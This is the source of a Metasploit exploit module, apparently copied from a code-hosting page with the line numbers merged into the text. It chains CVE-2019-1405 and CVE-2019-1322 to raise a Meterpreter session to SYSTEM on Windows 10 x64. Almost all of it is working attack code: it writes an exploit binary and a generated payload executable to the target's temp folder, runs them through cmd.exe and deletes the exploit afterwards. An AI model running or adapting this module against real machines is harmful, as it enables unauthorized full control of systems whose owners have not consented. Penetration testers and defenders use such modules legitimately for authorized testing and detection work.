Path: blob/master/modules/exploits/windows/local/comahawk.rb
19849 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::Common9include Msf::Post::File10include Msf::Post::Windows::Priv11include Msf::Exploit::EXE1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability',18'Description' => %q{19This exploit uses two vulnerabilities to execute a command as an elevated user.20The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to21NT AUTHORITY\LOCAL SERVICE22The second (CVE-2019-1322) leverages the Update Orchestrator Service to23elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.24},25'License' => MSF_LICENSE,26'Author' => [27'NCC Group', # Original discovery (https://www.nccgroup.trust/uk/)28'hoangprod', # PoC29'bwatters-r7' # msf module30],31'Platform' => ['win'],32'SessionTypes' => ['meterpreter'],33'Targets' => [34['Windows x64', { 'Arch' => ARCH_X64 }]35],36'DefaultTarget' => 0,37'DisclosureDate' => '2019-11-12',38'References' => [39['CVE', '2019-1322'],40['CVE', '2019-1405'],41['EDB', '47684'],42['URL', 'https://github.com/apt69/COMahawk'],43['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'],44['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1']45],46'DefaultOptions' => {47'DisablePayloadHandler' => false48},49'Compat' => {50'Meterpreter' => {51'Commands' => %w[52stdapi_sys_config_getenv53]54}55},56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options([65OptString.new('EXPLOIT_NAME',66[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),67OptString.new('PAYLOAD_NAME',68[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),69OptString.new('WRITABLE_DIR',70[false, 'Path to write binaries (%TEMP% by default).', nil]),71OptInt.new('EXPLOIT_TIMEOUT',72[true, 'The number of seconds to wait for exploit to finish running', 60]),73OptInt.new('EXECUTE_DELAY',74[true, 'The number of seconds to delay between file upload and exploit launch', 3])75])76end7778def exploit79exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)80payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)81exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')82payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')83temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')84payload_path = "#{temp_path}\\#{payload_name}"85exploit_path = "#{temp_path}\\#{exploit_name}"86payload_exe = generate_payload_exe8788# Check target89vprint_status('Checking Target')90validate_active_host91validate_target92fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)9394# Upload Exploit95vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")96ensure_clean_destination(exploit_path)97exploit_bin = exploit_data('cve-2019-1322', 'CVE-2019-1322-EXE.exe')98write_file(exploit_path, exploit_bin)99print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")100101# Upload Payload102vprint_status('Uploading Payload')103ensure_clean_destination(payload_path)104write_file(payload_path, payload_exe)105print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")106print_warning("This exploit requires manual cleanup of the payload #{payload_path}")107108# Run Exploit109vprint_status('Running Exploit')110print_status('It may take a moment after the session is established for the exploit to exit safely.')111begin112cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)113rescue Rex::TimeoutError => e114elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)115print_error('Caught timeout. Exploit may be taking longer or it may have failed.')116end117vprint_status("Cleaning up #{exploit_path}")118ensure_clean_destination(exploit_path)119end120121def validate_active_host122print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")123rescue Rex::Post::Meterpreter::RequestError => e124elog('Could not connect to session', error: e)125raise Msf::Exploit::Failed, 'Could not connect to session'126end127128def validate_target129if sysinfo['Architecture'] == ARCH_X86130fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')131end132version = get_version_info133vprint_status("OS version: #{version}")134unless version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1809)135fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362')136end137end138139def ensure_clean_destination(path)140return unless file?(path)141142print_status("#{path} already exists on the target. Deleting...")143begin144file_rm(path)145print_status("Deleted #{path}")146rescue Rex::Post::Meterpreter::RequestError => e147elog(e)148print_error("Unable to delete #{path}")149end150end151end152153154